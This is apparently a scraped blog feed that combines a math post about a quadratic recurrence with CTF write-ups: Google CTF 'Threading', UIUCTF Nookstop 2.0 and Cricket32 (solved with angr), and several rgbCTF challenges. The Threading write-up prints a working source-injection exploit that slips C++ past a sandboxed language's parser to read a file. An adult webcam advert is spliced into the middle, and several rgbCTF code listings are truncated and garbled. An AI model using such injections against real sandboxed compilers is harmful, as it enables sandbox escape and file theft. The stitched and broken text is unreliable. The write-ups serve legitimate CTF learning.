Beyond the forms that can easily be transformed into an iterated sum or product, it is very hard to get handle on what is happening at all. On the other side of things, there is no clear systematic approach to building values such as zeta(sqrt(2)-e), ln(1+erf(pi)), or even just exp(sqrt(2)). That is, composing non-algebraic operations together. There is no clear way to construct double-sums or products, such as, sum[ product[1/2^k + k/3^n,{n,1,k}], {k,1,Infinity}]). There is no good way to evaluate the tantalizingly simple logarithmic integral or terrifyingly complicated Meijer-G function at irrational arguments.

A route to study?

It seems appealing to attack problems in order of variables. The homogeneous setting definitely seems cleaner. In order:

With only variable, there is only one (homogeneous point).

With two variables, we have rational dynamics in a single ratio, which always has an algebraic fixed point.

With three variables, we can make already some complicated dynamics, for instance (x,y,z)_new = (x^2+z^2, x*y, z^2) from initial condition (1,1,1). It converges rapidly, and definitely not to a rational number. Wolfram Alpha fails to identify it. The first one thousand digits are

2.603851835031143245368211374017918615843964225407694302745876729522065651778003208187484407627592404511888968827493932109713526069610708378529451666231741406801459484055765246285402808335721920762773743962586175582717139557582043086511042544742056423672612775036229180443017226692504576931858927956677332191385543240016650545006648348525779557226112186146115525096117450671880546719405553537806906021384845425611506754138899900593583974750571966359676710128974395131770850911134469900647762226295828347381639642334615199919488091987272189351760868573285035266458891271766504253957527521565552069715845914974436758044514229854106939843175896186179134846551932465909511852037423922774777838751203846189094167906802396285361528646172360995778751803417661501342731734469343093927679757261922962066992824171929914259522612195194685510319393650466320097280004896093475728268557229898090801382739245141771209834424889001952756908781678749867654576619655867487389713862323464569632792155352794143759214405334

I would be happy if someone could identify it, or even write down any kind of expression for its value at all.

#math #recurrence #quadratic #homogeneous #oh who am I kidding like anyone is going to look under the homogeneous tag #uhh maybe I'll just tag this #oeis #yeah good enough

Google CTF 2019 - “Threading”

Ctftime problem description

Our input code gets parsed through PEGTL, turned into as abstract syntax tree, transformed into some C++ code, and then printed out, and compiled by Clang. The generated C++ code is, by structure, safe: you can only use a limited set of library functions, and no external functions; and those library functions have zero file IO. Secure, right?

The intended solution might have involved some threading erorr. But -- well, that PEGTL parsing looks pretty weak to me. Look in simple_lang/grammar.h and tell me that you think this captures all the subtleties and weirdness of C and the C pre-processor. Tell me that, and you'll be wrong.

Just a few minutes of mucking around with #defines, using a \ to carry over from one line to another, and // to comment code out, and it's clear we can "inject" arbitrary code. The idea is to have something that simple_lang believes is a safe string literal, but that -- when fed into Clang -- looks like other directives. Here was our exploit:

def void t_func(string arg) { print(arg); string message = "Hello, World\\ \"); #define x BLAH }} #include <fstream> std::string readall(std::istream& is) { char temp[1024]; std::string ret; while (!is.eof()) { is.read(temp, 1024); ret.append(temp, is.gcount()); } return ret; } void blah(){{ #define x BLAH"; } def int32 main() { string message = "Hello, World\\ \"); #define x BLAH //const char filename[16] = {0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74}; const char filename[16] = {0x66, 0x6c, 0x61, 0x67}; std::ifstream is(filename); std::string program; program = readall(is); std::cout << program; #define x BLAH"; thread t = make_thread(t_func, message); join(t); return 0; }

This is definitely kind of unreadable -- by design! It's breaking the strings, after all. This gets processed by simple_lang/compiler into

// Intermediate representation, autogenerated. void __attribute__ ((noinline)) sbt_t_func(dynamic_array<achar> sbt_arg) { { (sbt_print(sbt_arg)); dynamic_array<achar> sbt_message = make_string("Hello, World\\ \"); #define x BLAH }} std::string readall(std::istream& is) { char temp[1024]; std::string ret; while (!is.eof()) { is.read(temp, 1024); ret.append(temp, is.gcount()); } return ret; } void blah(){{ #define x BLAH"); } } int32 __attribute__ ((noinline)) sbt_main() { { dynamic_array<achar> sbt_message = make_string("Hello, World\\ \"); #define x BLAH //const char filename[16] = {0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74}; const char filename[16] = {0x66, 0x6c, 0x61, 0x67}; std::ifstream is(filename); std::string program; program = readall(is); std::cout << program; #define x BLAH"); thread sbt_t = (sbt_make_thread(sbt_t_func, sbt_message)); (sbt_join(sbt_t)); return (0ULL); } } int main() { std::cout << std::unitbuf; std::cerr << std::unitbuf; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); _exit(sbt_main()); }

Then the C Preprocessor turns this into the following (we've snipped out the #includes, because they add way too much text:)

# 1 "/tmp/tmp.cc" # 1 "<built-in>" # 1 "<command-line>" # 1 "/usr/include/stdc-predef.h" 1 3 4 # 1 "<command-line>" 2 # 1 "/tmp/tmp.cc" void __attribute__ ((noinline)) sbt_t_func(dynamic_array<achar> sbt_arg) { { (sbt_print(sbt_arg)); dynamic_array<achar> sbt_message = make_string("Hello, World\\"); }} std::string readall(std::istream& is) { char temp[1024]; std::string ret; while (!is.eof()) { is.read(temp, 1024); ret.append(temp, is.gcount()); } return ret; } void blah(){{ } } int32 __attribute__ ((noinline)) sbt_main() { { dynamic_array<achar> sbt_message = make_string("Hello, World\\"); const char filename[16] = {0x66, 0x6c, 0x61, 0x67}; std::ifstream is(filename); std::string program; program = readall(is); std::cout << program; thread sbt_t = (sbt_make_thread(sbt_t_func, sbt_message)); (sbt_join(sbt_t)); return (0ULL); } } int main() { std::cout << std::unitbuf; std::cerr << std::unitbuf; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); _exit(sbt_main()); }

So now the sbt_main is doing whatever we want, here, opening up flag (the string stored in filename), reading it, printing it to stdout. We kept filename in hex because, according to simple_lang, all that code was in a string literal, and so we wanted to avoid having any extra " characters in the code.

Flag get!

#polyglot #ctf #google #gctf #hacking #c++#cpp

UIUCTF 2020: Nookstop 2.0

This is a very un-hacking solution: we basically just guess the flag!

We start with this page, which looks a lot like Nookstop 1.0. Just as before, we run

document.cookie="secret_backend_service=true";

to enable the "secret backend service" (as clued by the Japanese text in the source code of the page). Reloading the page gives a link to the real challenge, which is running Emscripten.

Grabbing your banking information...... Your routing number is: 0x9a0 2464 Your account number has been successfully transmitted using the latest XOR encryption, and is not shown here for security reasons. Please stand by while the ABD decrypts it....... Calling decrypt function.... wkwcwg{c3oo33os[Byte 7F here] Uh-oh! There's been an error!

One approach would be to dump out the WebAssembly file, as easily found by looking at the page's network requests; then it can be reversed with the help of tools like wasm or wabt. Unfortunately, Emscripten adds a bunch of external code that is hard to reason about within the context of just the .wasm file, and so these decompilers produce output that is next-to-useless. Let's skip the reversing.

The text above hints that there's some kind of XOR going on, and we have a corrupted key: "wkwcwg{c3oo33os\x7f". This corrupted key looks awfully similar to "uiuctf{", in the start. Let's XOR the two together and see what the difference is.

>>> os = "wkwcwg{c3oo33os\x7f" >>> bs = "uiuctf{" >>> print( [ord(os[i])^ord(bs[i]) for i in range(len(bs))] ) [2, 2, 2, 0, 3, 1, 0]

Aha, so all of the XORs are off by a number from 0 to 3 -- that is, just the bottom two bits are wrong. Let's dump out all the candiate characters in the flag:

>>> for b in os: ... print( chr(ord(b) ^ 0) + chr(ord(b) ^ 1) + chr(ord(b) ^ 2) + chr(ord(b) ^ 3) ) ... wvut kjih wvut cba` wvut gfed {zyx cba` <-- Start of flag content 3210 onml onml 3210 3210 onml srqp <-- End of flag content ~}|

The first 7 characters are the uiuctf{, and the last is the final }, so we need to guess the remaining 8. We figure that it will be English leetspeak, so take the letter options, and convert the numbers 3210 into the letters eszilo. Then search for an answer in a regex-based dictionary. Nutrimatic helpfully ranks by frequency as an English word, and the results give one big answer: "billions". Given that we're hacking a bank, this makes perfect sense.

Convert back to leetspeak to get the flag uiuctf{b1ll10ns}.

#ctf #uiuctf #puzzle #regex #python #wasm #webassembly #emscripten #javascript #xor #hacking

•18+ Adults Only

Watch Anya Live on Cam

Anya is live and ready to show you everything. Watch her strip, dance, and perform exclusive shows just for you. Interact in real-time and make your fantasies come true.

✓ Live Streaming✓ Interactive Chat✓ Private Shows✓ HD Quality✓ Free Actions

Free to watch • No registration required • HD streaming

UIUCTF 2020: Cricket32

This writeup will be an example in using angr to “automatically” solve this problem. But along the way, we’ll find two deficiencies in angr, and show how to fix them! Beyond being a writeup of this problem -- there is very little information specific to this challenge -- this can serve as an angr use and development tutorial.

Challenge:

We are given a file cricket32.S, which contains 32-bit x86 assembly and instructions for assembling:

// gcc -m32 cricket32.S -o cricket32 .text str_usage: .string "Usage: ./cricket32 flag\nFlag is ascii with form uiuctf{...}\n" str_yes: .string "Flag is correct! Good job!\n" str_nope: .string "Flag is not correct.\n" .global main main: mov $str_usage, %ebx xor %esi, %esi SNIP jmp printf

Note that the -m32 flag will force gcc to compile a 32-bit executable. The assembly is pretty short, but has a few hard-to-interpret instructions, such as aaa (ASCII Adjust After Addition), sahf (Store AH into Flags), and so on. It's possible these are filler meant to distract; it's also possible that they're being used as part of some bizarre check, or as data (if the program is reading its own code).

Approach

Instead of trying to reverse engineer this ourselves, we'll be using angr to solve for the input. For background, angr is a tool that turns the problem of "get this program into this particular state" into a constraint problem. We interact with angr mostly through the functions explore(), which tells to seek out various states (such as printing "Success!"), and add_constraints(), which let us tell angr rules about the input or states of the program. Let's dive in!

After compiling cricket32, we open it up in IDA to see what addresses we might care about:

We see that if the code reaches 0x12BD, it will load str_nope, and then proceed straight to loc_12BC and printf. This is our failure condition. We'll load the binary in angr and tell to find an input that allows us to avoid that address, 0x12BD.

import angr import claripy project = angr.Project("./cricket32", auto_load_libs=True) flag_len = 32 arg1 = claripy.BVS('arg1', flag_len*8) initial_state = project.factory.entry_state(args=["./cricket32", arg1])

Here arg1 is our symbolic representation of the argument to the binary. We've allocated 32 bytes to (flag_len), hoping this is enough. Since arg1 can have zero-bytes, effectively being shorter than 32, this will work as long as the flag is at most 32 bytes long.

Running the above code produces the output:

WARNING | 2020-07-19 20:08:15,647 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.

so the address that we wanted to avoid, 0x12bd, will actually be 0x4012bd. Let's now explore for that address:

sm = project.factory.simulation_manager(initial_state) sm.explore(avoid=[0x40128D])

Unfortunately, we are left with the result <SimulationManager with 26 avoid (7 errored)>. When angr explores paths, it has a few different "stashes" that paths can be in. There are:

active: paths that have not been fully explored yet

deadended: which is paths that terminated the program

avoid: paths that reached somewhere we didn't want it to

found: paths that found an explicit destination request (we gave no such destination here)

errored: indicating that angr was unable to continue with a path.

Ideally we would have had a deadended path here, meaning that a program successfully terminated without reaching the avoided point of 0x4012bd. Since we didn't, let's take a look at the errors.

sm.errored[0] will get the first state in the errored stash, and on the console we get:

What's 0x4012a2? Looking in IDA again, we see the crc32 edx, dword ptr [esi] instruction. The crc32 instruction is used to compute a cyclic redundancy check. This is a somewhat complicated operation, and generally rare, so it's not terribly surprising that angr doesn't know how to translate it into constraints. As suggested, we can implement a hook to emulate this.

Angr Hooks

A hook in angr is used to modify or replace a piece of code. A syscall instruction may, for instance, invoke some complicated kernel behavior, and hooking it could allow us to substitute our own behavior; or a simple call might be hooked to modify the execution. When writing a hook, it is important to remember we are working with symbolic values, not actual integers, so that we ultimately return a mathematical expression representing the modified state.

Our hook will intercept the crc32 instruction, emulate it, and then return control flow at the end of the instruction. The crc32 instruction is 5 bytes long, so our hook starts:

def crc32_hook(state): pass project.hook(0x4012a2, crc32_hook, length=5)

Next we need to implement the correct behavior. Since all computations must be symbolic, we can't just use a library implementation of CRC32. Additionally, most CRC32 implementation use the "CRC-32" specification, with the 0x04C11DB7 polynomial (essentially a magic number). The x86 crc32 instruction instead uses the "CRC-32C", or "Castagnoli", specification, with the 0x1EDC6F41 polynomial. Some googling turns up this implementation of CRC-32C we can adapt.

CRC_TABLE = ( 0x00000000, 0xf26b8303, 0xe13b70f7, 0x1350f3f4, # ... SNIP ... 0xbe2da0a5, 0x4c4623a6, 0x5f16d052, 0xad7d5351, ) table_dict = {i: claripy.ast.bv.BVV(CRC_TABLE[i],32) for i in range(256)} def get_crc32_table_BVV(i): i = i.to_claripy() return claripy.ast.bool.ite_dict(i, table_dict, 0xFFFFFFFF) def crc32c(dst,src): b32 = src crc = dst for i in [3,2,1,0]: b = b32.get_byte(i) shift = (crc >> 8) & 0x00FFFFFF onebyte = crc.get_byte(3) crc = get_crc32_table_BVV(onebyte ^ b) ^ shift return crc

Here we need to do a symbolic table lookup, which we can implement with ite_dict. ite_dict(i, table_dict, 0xFFFFFFFF) means that we use the key-value pairs in table_dict to look up i; the default value will be 0xFFFFFFFF is not in the dict (but in our case it always will be). Then our crc32c method computes the update to running CRC32 dst using the four bytes in src. Our hook is then:

def crc32_hook(state): crc = state.regs.edx addr = state.regs.esi b32 = state.memory.load(addr).reversed print('CRC32 accessing ',b32) state.regs.edx = crc32c(crc, b32)

This clearly not a drop-in replacement for any crc32 instruction: we've hard-coded that the source operand is dword ptr [esi] and our destination is edx. But that will work for our purposes here. After adding our hook, we reload the initial state and explore as before. The search continues for a few seconds, until we get a very long stack trace that eventually ends:

RecursionError: maximum recursion depth exceeded while calling a Python object

Urk.

Removing recursion

This turns out to stem from a shortcoming of how ite_dict is implemented. It passes the dictionary to ite_cases, which loops a claripy.If expression -- essentially a ternary operator. In our case, this produces an expression like

claripy.If(i == 0, 0x00000000, claripy.If(i == 1, 0xf26b8303, claripy.If(i == 2, 0xe13b70f7, claripy.If(i == 3, 0x1350f3f4, ... <255 levels like this> ))))

and when Z3 (the backend constraint solver) tries to analyze this, it balks at the depth of the expression. There are two options now: (1) implement a better version of ite_dict, or (2) use a table-free imeplemtation of CRC-32C. In the competition, we used option (2). Googling some more for how to generate the table leads us to this page on generating the table. Instead of generating a table and storing it, we can just "recompute" (symbolically) the value each our crc32 instruction is hit. This leads to the code,

def get_crc32_calc_BVV(i): crc = i.zero_extend(32 - i.size()); if isinstance(crc, angr.state_plugins.sim_action_object.SimActionObject): crc = crc.to_claripy() for j in range(8): shift = ((crc >> 1) & 0x7FFFFFFF) cond = crc & 1 > 0 crc = claripy.If(cond, shift ^ 0x82f63b78, shift); return crc

The crc.to_claripy() here is necessary in case angr passes us a SimActionObject instead of an actual symbolic value. Then the rest of the operations work just like the C code in the link above, with the claripy.If replacing C's ternary operator. Then we replace the appropriate line in our crc32c function to use get_crc32_calc_BVV instead of get_crc32_table_BVV. Looking at our code so far:

import angr import claripy #copy implementation from https://medium.com/@chenfelix/crc32c-algorithm-79e0a7e33f61 def get_crc32_calc_BVV(i): crc = i.zero_extend(32 - i.size()); if isinstance(crc, angr.state_plugins.sim_action_object.SimActionObject): crc = crc.to_claripy() for j in range(8): shift = ((crc >> 1) & 0x7FFFFFFF) cond = crc & 1 > 0 crc = claripy.If(cond, shift ^ 0x82f63b78, shift); return crc def crc32c(dst,src): b32 = src crc = dst for i in [3,2,1,0]: b = b32.get_byte(i) shift = (crc >> 8) & 0x00FFFFFF onebyte = crc.get_byte(3) crc = get_crc32_calc_BVV(onebyte ^ b) ^ shift return crc def crc32_hook(state): crc = state.regs.edx addr = state.regs.esi b32 = state.memory.load(addr).reversed print('CRC32 accessing ',b32) state.regs.edx = crc32c(crc, b32) project = angr.Project("./cricket32", auto_load_libs=True) flag_len = 32 arg1 = claripy.BVS('arg1', flag_len*8) initial_state = project.factory.entry_state(args=["./cricket32", arg1]) sm = project.factory.simulation_manager(initial_state) project.hook(0x4012a2, crc32_hook, length=5) sm.explore(avoid=[0x40128D])

At the end we are left with: <SimulationManager with 6 deadended, 33 avoid>. Fantastic! That means 6 paths successfully terminated without hitting 0x4012bd. Each of these SimStates are listed in sm.deadended. To get the input, we can call state.make_concrete_int(arg1), which will return arg1 as a big integer; then .to_bytes(32,"big") to turn it into a string:

>>> for state in sm.deadended: ... state.make_concrete_int(arg1).to_bytes(32,"big") ... b'uiuc\xdbK\xdf\x9d\xf0N\xd6\x95cket_a_c\xddL\xc7\x97it}\x00\x00\x00\x00\x00' b'\xdaD\xd1\x9ftf{a_cricket_a_c\xddL\xc7\x97\xc6Y\xd9\xfc\x00\x00\x00\x00' b'uiuctf{a\xf0N\xd6\x95\xccF\xc1\x88_a_crack\xc6Y\xd9\xfc\x02\x00\x00\x00' b'\xdaD\xd1\x9f\xdbK\xdf\x9d\xf0N\xd6\x95cket_a_c\xddL\xc7\x97\xc6Y\xd9\xfc\x10\x10\x00\x00' b'\xdaD\xd1\x9ftf{a_cri\xccF\xc1\x88\xf0L\xfb\x9frack\xc6Y\xd9\xfc \x01\x00' b'uiuctf{a\xf0N\xd6\x95\xccF\xc1\x88_a_c\xddL\xc7\x97\xc6Y\xd9\xfc\x01\x04\x01\x08'

We see that angr has found 6 solutions that technically would work as input to the program, and indeed several start with uiuctf{ -- a sign we're on the right track! But they're filled with non-printable characters. The astute eye might piece together the flag from the above malformed fragments, but the "right" thing to do is to do tell angr that each byte of input will be printable ASCII (or zero).

Cleanup

for b in arg1.chop(8): initial_state.add_constraints((b == 0) | ((b > 31) & (b < 127))) for i in range(len("uiuctf{")): b = arg1.chop(8)[i] initial_state.add_constraints(b == ord("uiuctf{"[i]))

It's important to note that -- perhaps a bit surprisingly -- compound constraints are formed using | and &, not Python's or and and keywords. arg1.chop(8) breaks the 256-bit vector arg1 into a list of 8-bit bytes, and we add a constraint for each byte. The second loop actually forces that the flag starts with uiuctf{. Probably not strictly necessary, but will definitely accelerate solving. This code gets inserted right before initial_state = project.factory.... The evaluation now takes less than a minute, and ends with

<SimulationManager with 1 deadended, 26 avoid> >>> >>> for sol in sm.deadended: ... print(sol.posix.dumps(1)) ... sol.make_concrete_int(arg1).to_bytes(32,"big") ... b'Flag is correct! Good job!\n' b'uiuctf{a_cricket_a_crackit}\x00 @@\x00'

Flag get!

A reality check

In practice, progress wasn't quite this linear. Some gotchas I encountered were:

Needing to use .to_claripy() in the hook -- if you don't, the hook runs fine, and then you get weird and inscrutable errors later.

Figuring out what the recursion error was coming from. Was determined by shrinking the dictionary size and watching the problem go away (although of course no solution was found).

Lots of byte-ordering issues. angr will often store the bytes the opposite order you expect, so e.g. forcing the string to start with uiuctf{ was something initally done backwards.

LOTS more byte-ordering issues in implementing the CRC. And sign-bit madness. If you think translating bit-fiddly C code to Python is bad, try translating bit-fiddly C code to symbolic Python with unusual endianness.

This program is small enough that it might have been very routine to solve with angr in just a few lines of code, or that IDA might have decompiled it into something very readable. angr was thwarted by the crc32 instruction. It is worth noting that, had the binary been 64-bit, angr would have known how to do a CRC32; 32-bit executables are less supported. And IDA refused to parse the main code chunk as a function, because it couldn't handle the jump-to-the-middle-of-an-instruction we see at 0x12ba. IDA already parsed an instruction at 0x1278, so a jump to 0x1279 broke it. Finally, the ASCII-Adjust operations (aaa) are pretty rare, and I was surprised that angr supported them. I doubt many decompilers would.

Postscript: A better ite_dict

During the competition, I use a loop implementation of CRC-32 that didn't use a table. In practice, there's little reason why a table couldn't be used, if the if-then-else statement went in a binary tree instead. So I wanted to try that too! Code:

#Improved version of ite_dict that uses a binary search tree instead of a "linear" search tree. #This improves Z3 search capability (eliminating branches) and decreases recursion depth: #linear search trees make Z3 error out on tables larger than a couple hundred elements.) # Compare with https://github.com/angr/claripy/blob/f2c1998731efca4838a4edb9dec77e0424c5f691/claripy/ast/bool.py#L164 def ite_dict(i, d, default): i = i.ast if type(i) is claripy.ast.base.ASTCacheKey else i #for small dicts fall back to the old implementation if len(d) < 4: return claripy.ast.bool.ite_cases([ (i == c, v) for c,v in d.items() ], default) #otherwise, binary search. #Find the median: keys = list(d.keys()) keys.sort() split_val = keys[len(keys)//2] #split the dictionary dictLow = {c:v for c,v in d.items() if c <= split_val} dictHigh = {c:v for c,v in d.items() if c > split_val} valLow = ite_dict(i, dictLow, default) valHigh = ite_dict(i, dictHigh, default) return claripy.If(i <= split_val, valLow, valHigh) def get_crc32_table_BVV(i): i = i.to_claripy() return ite_dict(i, table_dict, 0xFFFFFFFF)

With this modified version of get_crc32_table_BVV, the table-based code ran fine. Interestingly, it took several minutes to solve -- quite a bit slower than the "slow" and "complicated" loop-based implementation. In general though, I expect the binary tree would be faster for Z3 to analyze than a linear expression. I've created a pull request to get this improvement into angr, hopefully. :)

EDIT: It got merged -- hooray for CTFs leading to productive behavior!

#crc32 #hacking #reversing #Reverse Engineering #uiuctf #ctf #python #angr

rgbCTF 2020 Writeups

Below are writeups for various problems from (rgbCTF)[https://ctftime.org/event/1042], specifically the ones that I (Timeroot) managed to solve. This is Advanced Reversing Mechanics 1 and Advanced Reversing Mechanics 2, [another witty algo challenge name], Five Fives, icanhaz, Laser 1 and Laser 2, Lofi, THE LYCH KING, Object Oriented Programming, ralphie, Sadistic Reversing 1 and Sadistic Reversing 2, Time Machine, TooSlow, and Ye Olde PRNG.

This was played under (1064CBread)[https://ctftime.org/team/5320], and we ended up getting 2nd place. :)

Advanced Reversing Mechanics 1

As the name (“ARM1”) suggests, this is an ARM binary. It’s also 32-bit, so make sure to open it in 32-bit IDA or you won’t be able to decompile. The problem statement gives some bytes,

71, 66, 61, 42, 53, 45, 7A, 40, 51, 4C, 5E, 30, 79, 5E, 31, 5E, 64, 59, 5E, 38, 61, 36, 65, 37, 63, 7C,

This function is pretty simple: main passes the input to encrypt_flag(char*), then prints out the result as series fo hex values. So what does encrypt_flag do?

char *__fastcall encryptFlag(char *result) { char v1; // r3 int v2; // t1 v1 = *result; if ( *result ) { do { *result = v1 - 1; v2 = (unsigned __int8)(result++)[1]; v1 = v2; } while ( v2 ); } return result; }

It loops through the bytes and adds one to each. Great. So take the given array, look each character up in [http://asciitable.com], look one previous, and write that down. Honestly it was faster that way than automating it. And you get the flag!

Advanced Reversing Mechanics 2

This problem is similar in structure to ARM1, but encrypt_flag() looks considerably more complicated:

_BYTE *__fastcall encryptFlag(_BYTE *result) { unsigned int v1; // r3 _BYTE *i; // r1 int v3; // r3 bool v4; // zf unsigned int v5; // r3 unsigned int v6; // r2 __int64 v7; // r2 v1 = (unsigned __int8)*result; if ( *result ) { for ( i = result; ; v1 = (unsigned __int8)*i ) { v6 = (unsigned __int8)(v1 - 10); if ( v1 > 2); v7 = i - result; if ( !*i ) break; v3 = v7 - 5 * (((signed int)((unsigned __int64)(0x66666667LL * (signed int)v7) >> 32) >> 1) - HIDWORD(v7)); v4 = v3 == 2; v5 = (((unsigned __int8)*i > v3)) & 0xFF; if ( v4 ) LOBYTE(v5) = v5 - 1; *i = v5; } } return result; }

… but why reverse when we can black-box? Some playing around reveals that the Nth character of output only depends on the first N characters of input. So let’s use this function, encrypt_flag, as an oracle, and try progressively longer things until we get our goal. We write a solver:

#include "stdio.h" #include "string.h" #define HIDWORD(foo) ((foo >> 32) & 0xFFFFFFFF) char* encryptFlag(char *result) { unsigned char v1; // r3 char *i; // r1 int v3; // r3 char v4; // zf unsigned int v5; // r3 unsigned int v6; // r2 unsigned long long v7; // r2 v1 = (unsigned char)*result; if ( *result ) { for ( i = result; ; v1 = (unsigned char)*i ) { v6 = (unsigned char)(v1 - 10); if ( v1 > 2); v7 = i - result; if ( !*i ) break; v3 = v7 - 5 * (((signed int)((unsigned long long)(0x66666667LL * (signed int)v7) >> 32) >> 1) - HIDWORD(v7)); v4 = v3 == 2; v5 = (((unsigned char)*i > v3)) & 0xFF; if ( v4 ) v5 = v5 - 1; *i = v5; } } return result; } void main(int argc, char** argv){ char* goal = "\x0A\xFB\xF4\x88\xDD\x9D\x7D\x5F\x9E\xA3\xC6\xBA\xF5\x95\x5D\x88\x3B\xE1\x31\x50\xC7\xFA\xF5\x81\x99\xC9\x7C\x23\xA1\x91\x87\xB5\xB1\x95\xE4"; int len = strlen(goal); printf("Len %d\n", len); char trial[35+1]; char check[35+1]; for(int l=0;l toVisit = new LinkedList(); LinkedList<integer> toMark = new LinkedList(); for(int x=0;x 0){ int vis = toVisit.pop(); { int x = vis/5000; int y = vis%5000; if(!map[x][y]) continue; if(marked[x][y]) continue; islands++; System.out.println("Island at "+x+", "+y); } toMark.push(vis); while(toMark.size() > 0){ int mark = toMark.pop(); int x = mark/5000; int y = mark%5000; if(!map[x][y]) continue; if(marked[x][y]) continue; marked[x][y] = true; if(x>0) toMark.add((x-1)*5000 + (y-0)); if(x0) toMark.add((x-0)*5000 + (y-1)); if(y guesses = new ArrayList(); for(int x=1;xicanhaz2

and file icanhaz2 tells us that it’s xz again:

mv icanhaz2 icanhaz2.xz && xz -d icanhaz2.xz

and we’re left with an SVG now. Viewing the SVG, it appears blank. Opening up the SVG in a text editor shows many lines of the form

That is, boxes that are just barely off-white, in the blue channel. So find-and-replace #fffffd with #000000, and we get a visible QR code. PAss that into [https://zxing.org/w/decode] and we get a base64 string:

/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AbxAN1dAA2XxNFhRNBaOJSxhV08AXoOcZxtalpXU+c+q/ppfZc1/t0z3BU/P16F9jAlXbjrzh5cXk/9vLbc+8NQJ8PNawtALEPD17f25zdggODx3xzNLY3SjGTIlX0fbqo6HFkHYkIzOjjUgJcN1KbzGRouW+G8TakjrJ4y5Pk7jv/stqRiV0ICPYxKpnZSEn0aLzQSl46j6H3BBUBhRuGgxue3TXIzw5HGMlchgNBs6SCfHU0SkX4zlSKqOWSyKrJ5JMgwC47en2kI68/tRNQYaYzvGGcWcR/iEgNYO/jHVDVLAAAAADjqmgxrEIjCAAH5AfINAADD+B/oscRn+wIAAAAABFla

de-b64ing that gives garbled nonsense, but it starts with ý7zXZ��æ.. whic looks like another XZ compressed file. So run

echo "/Td6WFoAAATm1rRGAgAhARYAAAB0L+Wj4AbxAN1dAA2XxNFhRNBaOJSxhV08AXoOcZxtalpXU+c+q/ppfZc1/t0z3BU/P16F9jAlXbjrzh5cXk/9vLbc+8NQJ8PNawtALEPD17f25zdggODx3xzNLY3SjGTIlX0fbqo6HFkHYkIzOjjUgJcN1KbzGRouW+G8TakjrJ4y5Pk7jv/stqRiV0ICPYxKpnZSEn0aLzQSl46j6H3BBUBhRuGgxue3TXIzw5HGMlchgNBs6SCfHU0SkX4zlSKqOWSyKrJ5JMgwC47en2kI68/tRNQYaYzvGGcWcR/iEgNYO/jHVDVLAAAAADjqmgxrEIjCAAH5AfINAADD+B/oscRn+wIAAAAABFla" | base64 --decode | xz -d

and it prints(!) out

█████████████████████████████████ █████████████████████████████████ ████ ▄▄▄▄▄ █▀▀ ███ ▀▀█ ▄▄▄▄▄ ████ ████ █ █ █▄▀██▀▀▀ ▀█ █ █ ████ ████ █▄▄▄█ █ ▄ █ ▄ ██ █▄▄▄█ ████ ████▄▄▄▄▄▄▄█ █ ▀▄█ █▄█▄▄▄▄▄▄▄████ ████ ▄▀ ▀▀▄▄▀▀█ ▀ ▀ ▄▄▀▄ ▀████ ████▄█▀▄▀▀▄█ ▀▀ ▀▀▀▀▀▄▀▀█▄ ████ ████▄ █▀ █▄ ██▄ █▀██▀ ▀▄▀ ████ ████▄▀█▄█▄▄ ▄▀█ █ ██▄▀▀ ▀▄█▀ ████ ████▄▄▄▄██▄▄▀▀ █ ▄▀▄ ▄▄▄ ▄█▀ ████ ████ ▄▄▄▄▄ █▄█▀▄ ▄▀▄ █▄█ █ ▄████ ████ █ █ █▀█▄▀▄▀▄█▄▄▄ █▄▄█████ ████ █▄▄▄█ █▀▄██▀▀ ▀▀█ █▄█▄█▄████ ████▄▄▄▄▄▄▄█▄▄█▄█▄█▄▄█▄██▄█▄▄████ █████████████████████████████████ █████████████████████████████████

which scans in a QR code reader to rgbCTF{iCanHaz4N6DEVJOB}.

Laser 1 - Factoring

The basic approach for LaserLang here is to

Figure out a “normal” assembly implementation, using reads/writes/adds/branches/gotos

Write all the code in one line

Implement the branches and gotos by leaving the line to skip around.

To avoid the headache of juggling the order of a stack, we use a separate stack for each conceptual “register” (including “array registers”).

One nice thing about keeping your Laser program in one line like this, is that you can write all your documentation below it in the same file – a unique way to comment! So my English description of the code was actually just below the program, in my .lsr file. It was as follows:

I rsUD>rsUs rsU %⌝ > D(r'1'×'0'l ⌝ UU # \pDrsUs/ \ Dp/ print "1" store N to stack 0 store 2 to stack 1 main loop: duplicate N move N to stack 1 move N to stack 2 duplicate x move x to stack 2 modulo if 0: copy x to stack 2 decrement x (on stack 1) duplicate x duplicate x multiply (compute x2) duplicate N move N to stack 1 check greater than contine loop if 0 return

“N” is the number we’re supposed to factor. It lives in stack 0. “x” is the number we’re going to try dividing by, and we start with x = N. It lives in stack 1. We repeatedly make a copy of N and x, and divide and compute the remainder. If the remainder is 0, we copy x to stack 2 (our “results” stack). We decrement x, and continue our main loop only if x is still positive. At the end we return stack 2.

Laser 2 - Sorting

(See Laser1.md for some general tips on writing good Laser code.)

We sort through a version of selection sort, see https://en.wikipedia.org/wiki/Selection_sort. We have a list of “remaining” numbers (stacks 0/1), and a sorted list of “selected” numbers (stack 2). These are initially the given input, and empty, respectively.

In each step, we want to pick out the smallest number from the remaining ones, and put it on top of our “selected” stack. So we take the first number from “remaining” (in stack 0) and move to “selected”. Then we go one by one through each “remaining” number, moving them to stack 1 as we do so. Each time we move one from stack 0 to stack 1, we compare it with stack 2; if the number on stack 1 is smaller than on stack 2, we swap them. In this way, by the time stack 0 is empty, the smallest number has been put on stack 2.

Then we copy stack 1 back to stack 0 for the next loop.

We do this until the “remaining” list is empty, at which point stack 2 has been sorted. We return stack 2.

Code:

I> c'1'g ⌝p sUs >DsU r UrwD l⌝psUswUwDD> DcsU'0'g !⌝p >c⌝pw \>D \ \p / \ / \ p/ \p / \ / p \ sUsU # take input to stack 0 find smallest element: move top element to stack 2 loop: move top of 0 to 1 duplicate top of 1 copy top of 2 to 1 compare. if smaller, pop swap top of 1 and 2 else, pop check stack 0 cardinality if NOT 0, loop #copy stack 1 back to stack 0 check stack 1 cardinality if 0, skip: move top of 1 to 0 go back to check check stack 0 cardinality if NOT 1, main loop move last thing up return on stack 2

Lo-fi

We are given a .wav file. Listening to it, it’s generally some nice simple music; around 30 seconds, it gets a little bit more random. As it ends, there’s a few quick beeps that sound out of place. What are those beeps?

